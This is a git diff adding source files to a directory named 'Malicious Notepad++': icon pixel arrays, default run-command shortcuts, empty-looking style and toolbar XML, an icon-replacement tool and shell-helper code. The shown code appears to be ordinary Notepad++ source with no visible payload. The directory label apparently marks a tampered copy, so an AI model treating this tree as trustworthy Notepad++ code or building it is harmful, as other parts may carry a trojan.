+ 0x62, 0xB2, 0x86, 0xFF, 0x5D, 0xAF, 0x82, 0xFF, 0x5A, 0xAD, 0x7E, 0xFF, + 0x57, 0xAB, 0x7C, 0xFF, 0x4F, 0xA5, 0x75, 0xFF, 0x38, 0x95, 0x61, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x37, 0x94, 0x60, 0x1D, 0x37, 0x94, 0x60, 0xFF, + 0x44, 0x9D, 0x6B, 0xFF, 0x5A, 0xAD, 0x7E, 0xFF, 0x55, 0xAA, 0x7B, 0xFF, + 0x51, 0xA8, 0x78, 0xFF, 0x4A, 0xA2, 0x71, 0xFF, 0x37, 0x94, 0x60, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x92, 0x5E, 0x22, + 0x35, 0x92, 0x5E, 0xFF, 0x40, 0x9A, 0x67, 0xFF, 0x51, 0xA8, 0x78, 0xFF, + 0x4C, 0xA5, 0x73, 0xFF, 0x45, 0x9F, 0x6C, 0xFF, 0x35, 0x92, 0x5E, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x34, 0x91, 0x5D, 0x22, 0x34, 0x91, 0x5D, 0xFF, 0x3D, 0x98, 0x65, 0xFF, + 0x4A, 0xA4, 0x71, 0xFF, 0x40, 0x9D, 0x69, 0xFF, 0x34, 0x91, 0x5D, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x32, 0x8F, 0x5B, 0x27, 0x32, 0x8F, 0x5B, 0xFF, + 0x3A, 0x96, 0x62, 0xFF, 0x3F, 0x9A, 0x67, 0xFF, 0x32, 0x8F, 0x5B, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x8E, 0x5A, 0x27, + 0x31, 0x8E, 0x5A, 0xFF, 0x3B, 0x96, 0x63, 0xFF, 0x31, 0x8E, 0x5A, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x8D, 0x59, 0x27, 0x30, 0x8D, 0x59, 0xFF, 0x30, 0x8D, 0x59, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const unsigned char hidelines_end14[784] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4A, 0xA7, 0x73, 0xFF, 0x49, 0xA6, 0x72, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xA5, 0x71, 0xFF, + 0x68, 0xB6, 0x8B, 0xFF, 0x47, 0xA4, 0x70, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x46, 0xA3, 0x6F, 0xFF, 0x64, 0xB3, 0x87, 0xFF, 0x8E, 0xCA, 0xA8, 0xFF, + 0x45, 0xA2, 0x6E, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x44, 0xA1, 0x6D, 0xFF, 0x60, 0xB0, 0x83, 0xFF, + 0x86, 0xC6, 0xA2, 0xFF, 0x86, 0xC5, 0xA2, 0xFF, 0x43, 0xA0, 0x6C, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xA0, 0x6C, 0xFF, + 0x5D, 0xAE, 0x81, 0xFF, 0x80, 0xC2, 0x9D, 0xFF, 0x7E, 0xC1, 0x9C, 0xFF, + 0x7D, 0xC1, 0x9B, 0xFF, 0x41, 0x9E, 0x6A, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x41, 0x9E, 0x6A, 0xFF, 0x5B, 0xAD, 0x7F, 0xFF, 0x7B, 0xBF, 0x99, 0xFF, + 0x78, 0xBE, 0x97, 0xFF, 0x76, 0xBD, 0x95, 0xFF, 0x75, 0xBC, 0x95, 0xFF, + 0x3F, 0x9C, 0x68, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3F, 0x9C, 0x68, 0xFF, 0x59, 0xAB, 0x7D, 0xFF, + 0x79, 0xBE, 0x97, 0xFF, 0x74, 0xBB, 0x93, 0xFF, 0x70, 0xB9, 0x90, 0xFF, + 0x6E, 0xB8, 0x8F, 0xFF, 0x6D, 0xB8, 0x8E, 0xFF, 0x3D, 0x9A, 0x66, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3D, 0x9A, 0x66, 0xFF, 0x51, 0xA6, 0x76, 0xFF, 0x72, 0xBA, 0x92, 0xFF, + 0x6D, 0xB8, 0x8E, 0xFF, 0x68, 0xB5, 0x8A, 0xFF, 0x66, 0xB4, 0x88, 0xFF, + 0x64, 0xB3, 0x87, 0xFF, 0x3C, 0x99, 0x65, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3B, 0x98, 0x64, 0xFF, 0x4C, 0xA3, 0x72, 0xFF, 0x67, 0xB4, 0x89, 0xFF, + 0x61, 0xB1, 0x84, 0xFF, 0x5E, 0xAF, 0x82, 0xFF, 0x5C, 0xAE, 0x80, 0xFF, + 0x3A, 0x97, 0x63, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x39, 0x96, 0x62, 0xFF, 0x46, 0x9F, 0x6D, 0xFF, 0x5B, 0xAE, 0x80, 0xFF, + 0x56, 0xAB, 0x7C, 0xFF, 0x54, 0xAA, 0x7A, 0xFF, 0x38, 0x95, 0x61, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x37, 0x94, 0x60, 0xFF, 0x41, 0x9B, 0x68, 0xFF, 0x4F, 0xA7, 0x76, 0xFF, + 0x4C, 0xA5, 0x73, 0xFF, 0x36, 0x93, 0x5F, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x35, 0x92, 0x5E, 0xFF, 0x3C, 0x97, 0x64, 0xFF, 0x44, 0xA1, 0x6D, 0xFF, + 0x34, 0x91, 0x5D, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x32, 0x8F, 0x5B, 0xFF, 0x3A, 0x96, 0x63, 0xFF, 0x32, 0x8F, 0x5B, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x8D, 0x59, 0xFF, 0x30, 0x8D, 0x59, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 +}; diff --git a/Malicious Notepad++/src/shortcuts.xml b/Malicious Notepad++/src/shortcuts.xml new file mode 100644 index 0000000..1dc4f92 --- /dev/null +++ b/Malicious Notepad++/src/shortcuts.xml @@ -0,0 +1,21 @@ + + + + + + + + + + firefox "$(FULL_CURRENT_PATH)" + iexplore "$(FULL_CURRENT_PATH)" + chrome "$(FULL_CURRENT_PATH)" + safari "$(FULL_CURRENT_PATH)" + http://www.php.net/$(CURRENT_WORD) + https://en.wikipedia.org/wiki/Special:Search?search=$(CURRENT_WORD) + $(NPP_FULL_FILE_PATH) $(CURRENT_WORD) -nosession -multiInst + outlook /a "$(FULL_CURRENT_PATH)" + + + + diff --git a/Malicious Notepad++/src/stylers.model.xml b/Malicious Notepad++/src/stylers.model.xml new file mode 100644 index 0000000..931721b --- /dev/null +++ b/Malicious Notepad++/src/stylers.model.xml @@ -0,0 +1,1371 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/toolbarIcons.xml b/Malicious Notepad++/src/toolbarIcons.xml new file mode 100644 index 0000000..1b3387c --- /dev/null +++ b/Malicious Notepad++/src/toolbarIcons.xml @@ -0,0 +1,94 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/ChangeIcon/ChangeIcon.cpp b/Malicious Notepad++/src/tools/ChangeIcon/ChangeIcon.cpp new file mode 100644 index 0000000..2754bb2 --- /dev/null +++ b/Malicious Notepad++/src/tools/ChangeIcon/ChangeIcon.cpp @@ -0,0 +1,263 @@ +// Replace an icon group in an executable by one from an ICO file +// By Francois-R.Boyer@PolyMtl.ca for Notepad++ +// 2010-11-20 +// +// This code is based on: Maria Nadejde, "Replacing ICON resources in EXE and DLL files", The Code Project, 13 Nov 2008 +// ( http://www.codeproject.com/KB/DLL/ICON_Resources.aspx ) +// original article and code is licenced under The GNU General Public License (GPLv3) +// +// +// this file is part of ChangeIcon +// Copyright (C)2010 Francois-R Boyer +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef UNICODE +#define UNICODE +#endif + +#ifndef _UNICODE +#define _UNICODE +#endif + +#include +#include +#include +#include // for offsetof + +#ifdef _DEBUG +#define IFDEBUG(x) x +#else +#define IFDEBUG(x) +#endif + +BOOL getMaxIconId_EnumNamesFunc(HANDLE hModule, LPCTSTR lpType, LPTSTR lpName, WORD* lpMaxID) +{ + if(IS_INTRESOURCE(lpName) && (USHORT)lpName>*lpMaxID) + *lpMaxID=(USHORT)lpName; + return true; +} + +WORD getMaxIconId(TCHAR* lpFileName) +{ + WORD nMaxID = 0; + HINSTANCE hLib = LoadLibraryEx(lpFileName,NULL,DONT_RESOLVE_DLL_REFERENCES | LOAD_LIBRARY_AS_DATAFILE); + if(hLib == NULL) { _tprintf(_T("Unable to load library '%s'\n"), lpFileName); return 0xFFFF; } + // Enumerate icon "names" (IDs) to get next available ID + if(!EnumResourceNames(hLib, RT_ICON, (ENUMRESNAMEPROC)getMaxIconId_EnumNamesFunc,(LONG_PTR)&nMaxID)) { _tprintf(_T("Unable to enum icons\n")); return 0xFFFF; } + FreeLibrary(hLib); + IFDEBUG( _tprintf(_T("MaxIcon=%d\n"), nMaxID); ) + return nMaxID; +} + +class Icon { +public: + // Icon format from http://msdn.microsoft.com/en-us/library/ms997538.aspx + // for ICO and EXE files + struct ICONDIR { // File header: + WORD idReserved; // Reserved (must be 0) + WORD idType; // Resource Type (1 for icons) + WORD idCount; // How many images? + }; + struct ICONDIRENTRY { // One for each image: + BYTE bWidth; // Width, in piexels, of the image + BYTE bHeight; // Height, in pixels, of the image (times 2) + BYTE bColorCount; // Number of colors in image (0 if >=8bpp) + BYTE bReserved; // Reserved (must be 0) + WORD wPlanes; // Color Planes + WORD wBitCount; // Bits per pixel + DWORD dwBytesInRes; // How many bytes in this resource? + union { + DWORD dwImageOffset;// Where in the file is this image (in ICO file) + WORD nID; // the ID (in EXE file) + }; + }; + static const UINT sizeof_iconDirEntry_ICO = sizeof(ICONDIRENTRY); + static const UINT sizeof_iconDirEntry_EXE = offsetof(ICONDIRENTRY,nID)+sizeof(WORD); + + ICONDIR _head; + ICONDIRENTRY *_entries; + LPBYTE *_imagesData; + + Icon() : _entries(NULL), _imagesData(NULL) { _head.idCount = 0; } + void clear() { + if(_imagesData) { for(int i=0; i<_head.idCount; ++i) delete _imagesData[i]; delete[] _imagesData; _imagesData = 0; } + if(_entries) delete[] _entries; _entries = 0; + _head.idCount = 0; + } + ~Icon() { clear(); } + + bool readICO(TCHAR* filename); + bool readEXE(TCHAR* lpFileName, LPCTSTR lpResName, UINT resLangId); // Does not currently read image data + + bool writeToEXE(TCHAR* lpFileName, LPCTSTR lpResName, UINT resLangId); + + WORD count() { return _head.idCount; } +}; + +bool Icon::readICO(TCHAR* filename) +{ + clear(); + HANDLE hFile = CreateFile(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if(hFile == INVALID_HANDLE_VALUE) { _tprintf(_T("Error opening file '%s' for Reading\n"), filename); return false; } + DWORD dwBytesRead; + // Read header + if(!ReadFile( hFile, &_head, sizeof(_head), &dwBytesRead, NULL )) { _tprintf(_T("Error reading file '%s'\n"), filename); return false; } + IFDEBUG( _tprintf(_T("%d icon entries\n"), count()); ) + // Read entries + _entries = new ICONDIRENTRY[count()]; + if(!ReadFile( hFile, _entries, sizeof(*_entries)*count(), &dwBytesRead, NULL )) { _tprintf(_T("Error reading file '%s'\n"), filename); return false; } + // Read images + _imagesData=new LPBYTE[count()]; memset(_imagesData, 0, sizeof(LPBYTE)*count()); + for(int i=0; i + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/IExplorerShell/makefile b/Malicious Notepad++/src/tools/IExplorerShell/makefile new file mode 100644 index 0000000..109e4a7 --- /dev/null +++ b/Malicious Notepad++/src/tools/IExplorerShell/makefile @@ -0,0 +1,2 @@ +ALL: + gcc nppIExplorerShell.cpp -o nppIExplorerShell.exe -mwindows -lshlwapi -Os -s \ No newline at end of file diff --git a/Malicious Notepad++/src/tools/IExplorerShell/nppIExplorerShell.cpp b/Malicious Notepad++/src/tools/IExplorerShell/nppIExplorerShell.cpp new file mode 100644 index 0000000..5007b1b --- /dev/null +++ b/Malicious Notepad++/src/tools/IExplorerShell/nppIExplorerShell.cpp @@ -0,0 +1,50 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include + +const int CMD_LEN = 512; +const int PARAM_LEN = 1024; +const char *NPP = "\\notepad++.exe"; +const char *FLAG_LEXER_HTML = "-lhtml "; + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpszCmdLine, int nCmdShow) +{ + char cmd[CMD_LEN]; + ::GetModuleFileName(NULL, cmd, CMD_LEN); + PathRemoveFileSpec(cmd); + strcat(cmd, NPP); + + char param[PARAM_LEN] = ""; + + strcat(strcat(param, FLAG_LEXER_HTML), lpszCmdLine); + ::MessageBox(NULL, param, "", MB_OK); + HINSTANCE hInst = ::ShellExecute(NULL, "open", cmd, param, ".", SW_SHOW); + return (UINT)0; +} + diff --git a/Malicious Notepad++/src/tools/NppShell/codeblocks/NppShell.cbp b/Malicious Notepad++/src/tools/NppShell/codeblocks/NppShell.cbp new file mode 100644 index 0000000..4c6bafa --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/codeblocks/NppShell.cbp @@ -0,0 +1,142 @@ + + + + + + diff --git a/Malicious Notepad++/src/tools/NppShell/project/NppShell.sln b/Malicious Notepad++/src/tools/NppShell/project/NppShell.sln new file mode 100644 index 0000000..93c3351 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/project/NppShell.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NppShell", "NppShell.vcproj", "{509B95C6-043E-4389-8351-77BDB042A6F9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {509B95C6-043E-4389-8351-77BDB042A6F9}.Debug|Win32.ActiveCfg = Debug|Win32 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Debug|Win32.Build.0 = Debug|Win32 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Debug|x64.ActiveCfg = Debug|x64 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Debug|x64.Build.0 = Debug|x64 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Release|Win32.ActiveCfg = Release|Win32 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Release|Win32.Build.0 = Release|Win32 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Release|x64.ActiveCfg = Release|x64 + {509B95C6-043E-4389-8351-77BDB042A6F9}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Malicious Notepad++/src/tools/NppShell/project/NppShell.vcproj b/Malicious Notepad++/src/tools/NppShell/project/NppShell.vcproj new file mode 100644 index 0000000..d669537 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/project/NppShell.vcproj @@ -0,0 +1,438 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Malicious Notepad++/src/tools/NppShell/src/Bitmap.cpp b/Malicious Notepad++/src/tools/NppShell/src/Bitmap.cpp new file mode 100644 index 0000000..cfa5c4f --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/Bitmap.cpp @@ -0,0 +1,301 @@ +//From: Visual Style Menus in MSDN + +#include "Bitmap.h" + +HMODULE hUxTheme = NULL; +FN_GetBufferedPaintBits pfnGetBufferedPaintBits = NULL; +FN_BeginBufferedPaint pfnBeginBufferedPaint = NULL; +FN_EndBufferedPaint pfnEndBufferedPaint = NULL; + +bool InitTheming() { + hUxTheme = ::LoadLibrary(TEXT("UxTheme.dll")); + if (hUxTheme == NULL) + return false; + pfnGetBufferedPaintBits = (FN_GetBufferedPaintBits)::GetProcAddress(hUxTheme, "GetBufferedPaintBits"); + pfnBeginBufferedPaint = (FN_BeginBufferedPaint)::GetProcAddress(hUxTheme, "BeginBufferedPaint"); + pfnEndBufferedPaint = (FN_EndBufferedPaint)::GetProcAddress(hUxTheme, "EndBufferedPaint"); + if ((pfnGetBufferedPaintBits == NULL) || (pfnBeginBufferedPaint == NULL) || (pfnEndBufferedPaint == NULL)) { + pfnGetBufferedPaintBits = NULL; + pfnBeginBufferedPaint = NULL; + pfnEndBufferedPaint = NULL; + return false; + } + + return true; +} + +bool DeinitTheming() { + pfnGetBufferedPaintBits = NULL; + pfnBeginBufferedPaint = NULL; + pfnEndBufferedPaint = NULL; + FreeLibrary(hUxTheme); + hUxTheme = NULL; + + return true; +} + +void InitBitmapInfo(BITMAPINFO *pbmi, ULONG cbInfo, LONG cx, LONG cy, WORD bpp) +{ + ZeroMemory(pbmi, cbInfo); + pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + pbmi->bmiHeader.biPlanes = 1; + pbmi->bmiHeader.biCompression = BI_RGB; + + pbmi->bmiHeader.biWidth = cx; + pbmi->bmiHeader.biHeight = cy; + pbmi->bmiHeader.biBitCount = bpp; +} + +HRESULT Create32BitHBITMAP(HDC hdc, const SIZE *psize, void **ppvBits, HBITMAP* phBmp) +{ + *phBmp = NULL; + + BITMAPINFO bmi; + InitBitmapInfo(&bmi, sizeof(bmi), psize->cx, psize->cy, 32); + + HDC hdcUsed = hdc ? hdc : GetDC(NULL); + if (hdcUsed) + { + *phBmp = CreateDIBSection(hdcUsed, &bmi, DIB_RGB_COLORS, ppvBits, NULL, 0); + if (hdc != hdcUsed) + { + ReleaseDC(NULL, hdcUsed); + } + } + return (NULL == *phBmp) ? E_OUTOFMEMORY : S_OK; +} + +HRESULT ConvertToPARGB32(HDC hdc, ARGB *pargb, HBITMAP 